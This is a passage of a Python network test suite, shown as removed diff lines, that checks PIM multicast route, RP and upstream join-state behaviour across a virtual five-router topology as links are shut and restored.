{}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream IIF interface") - dut = "r2" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream IIF interface") - dut = "r2" - iif = "r2-r3-eth1" - result = verify_upstream_iif( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list, joinState="NotJoined" - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (S, G) ip mroutes") - oif = "none" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Delete RP configuration") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - } - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Shut the interface r1-r2-eth1 from R1 to R2") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: No Shut the interface r1-r2-eth1 from R1 to R2") - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Configure RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - } - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Shut the interface r1-r0-eth0 from R1 to R2") - intf = "r1-r0-eth0" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: No Shut the interface r1-r0-eth0 from R1 to R2") - intf = "r1-r0-eth0" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Verify (*, G) upstream IIF interface") - dut = "r1" - iif = "r1-r2-eth1" - result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream IIF interface") - dut = "r2" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream IIF interface") - dut = "r2" - iif = "r2-r3-eth1" - result = verify_upstream_iif( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list, joinState="NotJoined" - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (S, G) ip mroutes") - oif = "none" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - write_test_footer(tc_name) - - -def test_multiple_groups_different_RP_address_p2(request): - """ - TC_28_P2: Verify IIF and OIL in updated in mroute when upstream interface - configure as RP - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - | | - |_____________| - r4 - r1 : LHR - r2 & r4 : RP - r3 : FHR - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Delete existing RP configuration") - input_dict = { - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - } - } - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - input_dict = { - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_LIST_1, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.4.17", - "group_addr_range": GROUP_RANGE_LIST_2, - } - ] - } - }, - } - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify RP info") - dut = "r2" - rp_address = "1.0.2.17" - oif = "lo" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_LIST_1, oif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify RP info") - dut = "r4" - rp_address = "1.0.4.17" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_LIST_2, oif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - group_address_list = GROUP_ADDRESS_LIST_1 + GROUP_ADDRESS_LIST_2 - step("r0: Send IGMP join") - result = app_helper.run_join("r0", group_address_list, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - dut = "r1" - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", group_address_list, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - dut = "r1" - iif = "r1-r2-eth1" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1 - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream IIF interface") - dut = "r2" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream IIF interface") - iif = "r2-r3-eth1" - result = verify_upstream_iif( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, joinState="NotJoined" - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (S, G) ip mroutes") - oif = "none" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - dut = "r1" - iif = "r1-r4-eth3" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2 - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (*, G) upstream IIF interface") - dut = "r4" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (*, G) ip mroutes") - oif = "r4-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (S, G) upstream IIF interface") - iif = "r4-r3-eth1" - result = verify_upstream_iif( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, joinState="NotJoined" - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r4: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r4: Verify (S, G) ip mroutes") - oif = "none" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False - ) - assert result is not True, "Testcase {} :Failed \n Error: {}".format( - tc_name, result - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("Delete RP configuration") - input_dict = { - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_LIST_1, - "delete": True, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.4.17", - "group_addr_range": GROUP_RANGE_LIST_2, - "delete": True, - } - ] - } - }, - } - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1, r2, r3, r4: Re-configure RP") - input_dict = { - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_LIST_1, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.4.17", - "group_addr_range": GROUP_RANGE_LIST_2, - } - ] - } - }, - } - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Shut the interface r1-r2-eth1 from R1 to R2") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: No shut the interface r1-r2-eth1 from R1 to R2") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Shut the interface r1-r2-eth1 from R1 to R4") - dut = "r1" - intf = "r1-r4-eth3" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: No shut the interface r1-r2-eth1 from R1 to r4") - dut = "r1" - intf = "r1-r4-eth3" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Shut the interface r1-r0-eth0 from R1 to R0") - dut = "r1" - intf = "r1-r0-eth0" - shutdown_bringup_interface(tgen, dut, intf, False) - - step("r1: No Shut the interface r1-r0-eth0 from R1 to R0") - dut = "r1" - intf = "r1-r0-eth0" - shutdown_bringup_interface(tgen, dut, intf, True) - - step("r1: Verify (*, G) upstream IIF interface") - dut = "r1" - iif = "r1-r2-eth1" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1 - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream IIF interface") - dut = "r2" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream IIF interface") - iif = "r2-r3-eth1" - result = verify_upstream_iif( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, joinState="NotJoined" - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (S, G) ip mroutes") - oif = "none" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - dut = "r1" - iif = "r1-r4-eth3" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2 - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (*, G) upstream IIF interface") - dut = "r4" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (*, G) ip mroutes") - oif = "r4-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (S, G) upstream IIF interface") - iif = "r4-r3-eth1" - result = verify_upstream_iif( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, joinState="NotJoined" - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r4: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r4: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r4: Verify (S, G) ip mroutes") - oif = "none" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - write_test_footer(tc_name) - - -def test_shutdown_primary_path_p1(request): - """ - TC_30_P1: Verify IIF and OIL change to other path after shut the primary - path - - Topology used: - ________r2_____ - | | - iperf | | - r0-----r1-------------r3 - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - # Steps to execute - step("Enable IGMP on r1 interface") - step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") - step("r1: Shut the link from r1 to r2") - step("r3: Shut the link from r1 to r3") - step("r1: No shut the link from r1 to r2") - step("r3: No shut the link from r1 to r3") - - step("r1: Verify RP info") - dut = "r1" - rp_address = "1.0.2.17" - iif = "r1-r2-eth1" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - dut = "r2" - iif = "lo" - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Shut the interface r1-r2-eth1 from R1 to R2") - dut = "r1" - intf = "r1-r2-eth1" - shutdown_bringup_interface(tgen, dut, intf, False) - - step( - "Verify after shut the R1 to R2 link , verify join is reaching to RP" - "via other path" - ) - - logger.info("Waiting for 110 sec only if test run with crucible") - - step("r1: Verify (*, G) ip mroutes") - dut = "r1" - iif = "r1-r3-eth2" - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - dut = "r2" - iif = "lo" - oif = "r2-r3-eth1" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (*, G) ip mroutes") - dut = "r3" - iif = "r3-r2-eth1" - oif = "r3-r1-eth0" - result = 